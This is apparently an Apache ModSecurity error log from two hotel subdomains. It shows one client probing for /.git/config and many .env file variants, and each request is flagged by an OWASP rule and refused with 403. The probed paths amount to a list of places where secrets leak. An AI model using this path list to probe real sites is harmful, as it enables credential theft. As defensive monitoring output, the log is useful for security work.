[Tue Oct 27 01:43:42.785647 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6Dsqawth2HP9RxtL-swAAAAY"]
[Tue Oct 27 01:43:42.785883 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6Dsqawth2HP9RxtL-swAAAAY"]
[Tue Oct 27 01:43:42.786219 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6Dsqawth2HP9RxtL-swAAAAY"]
[Tue Oct 27 01:43:42.833616 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6Dsqawth2HP9RxtL-tAAAAAY"]
[Tue Oct 27 01:43:42.833877 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6Dsqawth2HP9RxtL-tAAAAAY"]
[Tue Oct 27 01:43:42.834218 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6Dsqawth2HP9RxtL-tAAAAAY"]
[Tue Oct 27 01:43:42.917152 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6Dsqawth2HP9RxtL-tQAAAAY"]
[Tue Oct 27 01:43:42.917413 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6Dsqawth2HP9RxtL-tQAAAAY"]
[Tue Oct 27 01:43:42.917749 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6Dsqawth2HP9RxtL-tQAAAAY"]
[Tue Oct 27 01:43:42.932415 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dg67030o4-ZAUjLpkgAAAAg"]
[Tue Oct 27 01:43:42.932606 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dg67030o4-ZAUjLpkgAAAAg"]
[Tue Oct 27 01:43:42.932894 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6Dg67030o4-ZAUjLpkgAAAAg"]
[Tue Oct 27 01:43:42.979671 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6Dsqawth2HP9RxtL-tgAAAAY"]
[Tue Oct 27 01:43:42.980043 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6Dsqawth2HP9RxtL-tgAAAAY"]
[Tue Oct 27 01:43:42.980468 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6Dsqawth2HP9RxtL-tgAAAAY"]
[Tue Oct 27 01:43:43.075406 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6D8qawth2HP9RxtL-twAAAAY"]
[Tue Oct 27 01:43:43.075685 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6D8qawth2HP9RxtL-twAAAAY"]
[Tue Oct 27 01:43:43.075762 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dw67030o4-ZAUjLplAAAAAg"]
[Tue Oct 27 01:43:43.075952 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dw67030o4-ZAUjLplAAAAAg"]
[Tue Oct 27 01:43:43.075976 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6D8qawth2HP9RxtL-twAAAAY"]
[Tue Oct 27 01:43:43.076200 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6Dw67030o4-ZAUjLplAAAAAg"]
[Tue Oct 27 01:43:43.192436 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6D8qawth2HP9RxtL-uAAAAAY"]
[Tue Oct 27 01:43:43.192687 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6D8qawth2HP9RxtL-uAAAAAY"]
[Tue Oct 27 01:43:43.192968 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6D8qawth2HP9RxtL-uAAAAAY"]
[Tue Oct 27 01:43:43.237284 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dw67030o4-ZAUjLplQAAAAg"]
[Tue Oct 27 01:43:43.237558 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dw67030o4-ZAUjLplQAAAAg"]
[Tue Oct 27 01:43:43.237933 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6Dw67030o4-ZAUjLplQAAAAg"]
[Tue Oct 27 01:43:43.248324 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6D8qawth2HP9RxtL-uQAAAAY"]
[Tue Oct 27 01:43:43.248498 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6D8qawth2HP9RxtL-uQAAAAY"]
[Tue Oct 27 01:43:43.248758 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6D8qawth2HP9RxtL-uQAAAAY"]
[Tue Oct 27 01:43:43.285343 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dw67030o4-ZAUjLplgAAAAg"]
[Tue Oct 27 01:43:43.285588 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dw67030o4-ZAUjLplgAAAAg"]
[Tue Oct 27 01:43:43.285890 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6Dw67030o4-ZAUjLplgAAAAg"]
[Tue Oct 27 01:43:43.310407 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6D8qawth2HP9RxtL-ugAAAAY"]
[Tue Oct 27 01:43:43.310729 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6D8qawth2HP9RxtL-ugAAAAY"]
[Tue Oct 27 01:43:43.311157 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6D8qawth2HP9RxtL-ugAAAAY"]
[Tue Oct 27 01:43:43.331382 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6D8qawth2HP9RxtL-uwAAAAY"]
[Tue Oct 27 01:43:43.331525 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6D8qawth2HP9RxtL-uwAAAAY"]
[Tue Oct 27 01:43:43.331773 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6D8qawth2HP9RxtL-uwAAAAY"]
